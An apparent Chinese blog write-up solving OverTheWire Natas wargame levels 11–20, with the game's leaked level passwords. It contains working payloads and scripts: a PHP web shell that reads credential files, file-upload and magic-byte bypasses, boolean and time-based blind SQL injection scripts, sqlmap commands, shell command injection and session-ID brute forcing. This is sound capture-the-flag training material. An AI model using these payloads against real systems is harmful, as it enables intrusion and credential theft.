WarGame系列之Natas(Web安全)通关指北(中级篇11-20) 详细版

本文详细介绍了Natas平台从第11关至第21关的通关策略,涵盖Cookie解密、SQL注入、盲注、Session ID伪造等技术要点。

本系列文章旨在记录笔者通关思路,其中解题思路也会参考借鉴网上已有文章,在此感谢相关作者的分享精神

接着上一篇文章继续

natas11

整理下此题的核心代码

<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}
function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}
?>

基本的解题思路如下
如题目所述cookies被xor加密
所以我们要找出Key
原始data是{"showpassword":"no","bgcolor":"#ffffff"}
所以需要我们利用XOR的加密特性推出key

原始data XOR key = 加密data
原始data XOR 加密data = key

最后再把{"showpassword":"yes","bgcolor":"#ffffff"}用key加密得到新data,存回cookie,再用新cookie访问即可获得答案
理清楚解题思路,我们再把对应的数据带进去

原始data:{"showpassword":"no","bgcolor":"#ffffff"}
加密data: ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=(也就是最初的cookie)

python版

# -*- coding: UTF-8 -*-
import base64

data = '{"showpassword":"no","bgcolor":"#ffffff"}'
data_xor = base64.b64decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=")

def xor(a, b):#异或运算
    return bytes(map(lambda x: chr(ord(x[0])^ord(x[1])), zip(a,b)))

print xor(data,data_xor)

php版

<?php  
  
$cookie = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=";  
  
function xor_encrypt($in) {  
    $key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));  
    $text = $in;  
    $outText = '';  
  
    // Iterate through each character  
    for($i=0;$i<strlen($text);$i++) {  
    $outText .= $text[$i] ^ $key[$i % strlen($key)];  
    }  
  
    return $outText;  
}  
  
echo xor_encrypt(base64_decode($cookie));  
  
?>

由此获得key: qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
现在就是进行 key XOR 修改的data = 新data(cookie)

此处修改的data就是"showpassword"=>"yes", "bgcolor"=>"#ffffff"

<?php  
  
$data = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");  
  
function xor_encrypt($in) {  
    $key = 'qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq';  
    $text = $in;  
    $outText = '';  
  
    // Iterate through each character  
    for($i=0;$i<strlen($text);$i++) {  
    $outText .= $text[$i] ^ $key[$i % strlen($key)];  
    }  
  
    return $outText;  
}  
  
echo base64_encode(xor_encrypt(json_encode($data)));  
  
?>


在浏览器控制台输入获得的新cookie document.cookie="data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK"
获得natas12密码 EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

natas12

此题很明显是在考查突破上传的技巧
我们先上传一个php文件,看服务器如何处理

<?php
system('cat /etc/natas_webpass/natas13');
?>


通过抓包可以分析出来服务端是以 filename字段的后缀名来存储文件的,那么我们直接修改后缀为 .php,即可成功上传文件,访问之即可获得natas13密码
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

natas13

这个比上一题增加了个检测函数exif_imagetype,其原理是测试文件开头的字节是否符合特定的几个文件类型

$ echo `printf  "\xff\xd8\xff\xe0"``cat 13.jpg` > 13.php


获得natas14密码 Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

natas14

这题是个登录框,很自然的就想到考查的是SQL注入漏洞,那么还是先看提示代码

<?
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysql_close($link);
} else {
?>

可以看到此处直接将输入参数username和password值拼接进SQL语句执行,那么肯定存在SQL注入了username填入admin" or 1=1#password填入1(随便都可以)
获得natas15密码AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

natas15

这一题有一定难度,还是考查SQL注入漏洞,但这次需要盲注处密码的值,需要写盲注脚本,虽然sql语句中只查询了username字段来判断用户是否存在,这里我们直接猜测用户natas16是存在的,再使用and逻辑运算将对password字段的查询连接起来,构成布尔注入语句,使用like模糊查询,最终得到密码

# -*- coding: UTF-8 -*-
import requests

url='http://natas15:[email protected]org/index.php'

chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

filtered = ''

passwd = ''

for char in chars:
    Data = {'username' : 'natas16" and password LIKE BINARY "%' + char + '%" #'}
    #使用like模糊查询不会区分大小写,要带上binary
    r = requests.post(url=url,data=Data)
    if 'exists' in r.text :
        filtered = filtered + char
        print filtered #先过滤出密码里存在的字符,然后再跑具体的值,这样能加快速度

for i in range(0,32):
    for char in filtered:
        Data = {'username' : 'natas16" and password LIKE BINARY "' + passwd + char + '%" #'}
        #使用like模糊查询不会区分大小写,要带上binary
        r = requests.post(url=url,data=Data)
        if 'exists' in r.text :
            passwd = passwd + char
            print(passwd)
            break


获得natas16密码 WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
当然,我们也可以用神器 sqlmap自动化注入出密码
$ python sqlmap.py -u "http://natas15.natas.labs.overthewire.org/index.php" --auth-type=basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J  --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --dump --string="This user exists"

natas16

这一题其实跟之前的命令注入的区别就在于过滤了一些特殊字符,先来看下核心代码

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>

在grep的检索中添加了引号,封死了添加其他选项和参数的路,并且过滤了双引号,无法像sql注入那样进行语句闭合
但是,其中沒有排除特殊字符$()/,而且这题由于多了双引号,所以PHP会处理双引号里面的变量$()
解题思路就是

$(grep a /etc/natas_webpass/natas17)Africans
如果密码文件里首字母是`a`外层就是aAfricans,输出結果dictionary.txt就会找不到
如果密码文件里首字母不是`a`外层就是Africans,输出結果就是dictionary.txt找到Africans

我们知道dictionary.txt中存在的字符串,比如说Africans,用它与$(grep)的返回值相加,如果内层返回了结果将检索出空值,如果返回空值则外层的grep会返回结果,比如:
password中首字母为a,构造出语句grep -I "$(grep a /etc/natas_webpass/natas17)Africans" dictionary.txt
由于内部的$()命令返回了a,则使外层命令变为grep -I "aAfricans" dictionary.txt
由于dictionary中没有aAfricans,从而返回空值
而如果内层$()命令返回空值,外层则能正确检索到Africans,于是返回值,证明首字母不是a
在此思路上我们来构造命令盲注脚本

# -*- coding: UTF-8 -*-

import requests  

from requests.auth import HTTPBasicAuth  
  
auth=HTTPBasicAuth('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')  
  
filteredchars = ''  

passwd = ''  

allchars = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'  

for char in allchars:  

 r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=$(grep ' + char + ' /etc/natas_webpass/natas17)Africans', auth=auth)  
   
 if 'Africans' not in r.text:  

  filteredchars = filteredchars + char  

  print(filteredchars)  
  
for i in range(32):  

 for char in filteredchars:  

  r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=$(grep ^' + passwd + char + ' /etc/natas_webpass/natas17)Africans', auth=auth)  
    
  if 'Africans' not in r.text:  

   passwd = passwd + char  

   print(passwd)  

   break


获得natas17密码 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

natas17

让我们先来看核心代码

<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

这一题依然是考查SQL注入漏洞,不过显然比之前的题目更难了点:因为没有任何回显
所以这次我需要通过sleep()进行延时盲注
输入:natas18" and sleep(5) #
服务端构造的SQL语句:SELECT * from users where username="natas18" and sleep(5) #


可以看出服务器确实延时5秒才进行响应,说明我们注入的 sleep(5)产生了效果
根据这个思路,我们来构造盲注脚本
import requests 
 
from requests.auth import HTTPBasicAuth  
  
Auth=HTTPBasicAuth('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')  
headers = {'content-type': 'application/x-www-form-urlencoded'}  
filteredchars = ''  
passwd = ''  
allchars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'  
  
for char in allchars:  
        payload = 'username=natas18" and password like binary \'%{0}%\' and sleep(5) #'.format(char)  
        r = requests.post('http://natas17.natas.labs.overthewire.org/index.php', auth=Auth, data=payload, headers=headers)  
        if(r.elapsed.seconds >= 1):  
                filteredchars = filteredchars + char  
                print(filteredchars)  
  
print(filteredchars)  
  
for i in range(0,32):  
        for char in filteredchars:  
                payload = 'username=natas18" and password like binary \'{0}%\' and sleep(5) #'.format(passwd + char)  
                r = requests.post('http://natas17.natas.labs.overthewire.org/index.php', auth=Auth, data=payload, headers=headers)  
                if(r.elapsed.seconds >= 3):  
                        passwd = passwd + char  
                        print(passwd)  
                        break

实际运行中由于自身网络到国外服务器不太稳定,所有结果可能有出入,需要多次调试
获得natas18密码xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
当然,这里我们也可以用神器sqlmap自动化注入处密码

./sqlmap.py -u "natas17.natas.labs.overthewire.org" --auth-type=BASIC --auth-cred="natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw" --data "username=natas18" --dbms=MySQL --technique=T --level=5 --risk=3 --dump

natas18

通过查看核心代码,并抓取相关数据包

if(my_session_start()) { 
    print_credentials(); 
    $showform = false; 
} else { 
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { 
    session_id(createID($_REQUEST["username"])); 
    session_start(); 
    $_SESSION["admin"] = isValidAdminLogin(); 
    debug("New session started"); 
    $showform = false; 
    print_credentials(); 
    } 
}


可以判断此题是考查 SessionID伪造漏洞

服务器检索Cookies中保存的SessionID,库中没有则新建,有则检查admin值

由于isValidAdminLogin()只会对admin赋0,因此新的SessionID是不可通过的
那么只能寻找本来就存在的SessionID

代码中定义:$maxid = 640; // 640 should be enough for everyone
那么我们通过BurpSuite-Intruder Attack模块设置字典1-640进行暴力破解
当PHPSESSID=138时,获得natas19密码4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

natas19

这一题先给了提示:与上一题源码类似,只是PHPSESSID不连续。
我们先尝试随便输入usernamepassword

PHPSESSID=3230322d6e617461733230通过观察发现 PHPSESSID的值是经过16进制转换的

按照 password-username的格式,由ascill码转化为16进制,猜测正确的 PHPSESSID,应该是 id-admin
由此我们来构造数据包使用BurpSuite-Intruder Attack模块设置字典,并对payload进行十六进制转换

PHPSESSID=38392d61646d696e时,及 PHPSESSID=89-admin
获得natas20密码 eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

natas20

先来看下核心代码

function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas21\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
}

首先进行合法校验,检测sessionID是否只有数字和字母
通过后读取以ID为文件名的文件,若空则新建
以n为分隔符,然后空格分隔Key和Value若admin=1则打印出密码
由于服务端对sessionID进行了合法性校验,因此无法直接通过修改PHPSESSID来读取密码文件的信息
username没有任何校验,因此可以在其中注入\nadmin 1使读取的时候对Session进行间接篡改


(备注:笔者测试时候需要提交两次数据包才能显示密码,不知原因为何)
获得natas21密码 IFekPyrQXftziDEsUr3x21sYuahypdgJ

参考https://www.abatchy.com/https://hwchen18546.wordpress.com/https://blog.youkuaiyun.com/winkar/article/details/38620401https://blog.pandas.moe/2016/01/26/overthewire-natas-0-27/https://bbs.ichunqiu.com/thread-45064-1-1.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值